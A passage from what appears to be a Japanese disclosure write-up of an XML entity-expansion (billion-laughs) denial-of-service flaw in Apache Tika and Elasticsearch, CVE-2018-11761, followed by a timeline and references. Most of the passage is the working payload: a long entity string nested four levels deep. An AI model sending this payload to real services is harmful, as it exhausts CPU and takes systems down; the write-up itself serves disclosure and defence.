0000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;" >
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;" >
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;" >
]>
<foo>&d;</foo>
* すると、CPU使用率が急激かつ明らかに上昇します。
# 結論
この脆弱性は実際にはApache Tika XML Parserの実装に起因しています。一方で、Tikaを使用してXMLファイルを解析するすべてのサービスも影響を受けると考えられます。
# タイムライン
* 2018-07-25: ApacheセキュリティおよびElastic Product Securityチームに報告。
* 2018-07-26: Apache Tika PMCから確認と認証を受領。
* 2018-07-27: Elastic Product Securityから確認を受領。
* 2018-09-19: Apache Tikaチームから[CVE-2018-11761](https://lists.apache.org/thread.html/5553e10bba5604117967466618f219c0cae710075819c70cfb3fb421@%3Cdev.tika.apache.org%3E)の発表を受領し、問題がApache Tika 1.19以降で修正されたことを確認。
* 2018-11-27: Elastic Product SecurityチームがElasticSearch 6.4.3で問題が修正されたことを確認。
# 参考文献
* http://avfisher.win/archives/1021
* https://github.com/elastic/elasticsearch
* https://github.com/apache/tika
* http://www.ws-attacks.org/XML_Entity_Expansion
* https://xerces.apache.org/xerces2-j/javadocs/api/javax/xml/XMLConstants.html#FEATURE_SECURE_PROCESSING
* https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html
* http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html
* http://openjdk.java.net/jeps/185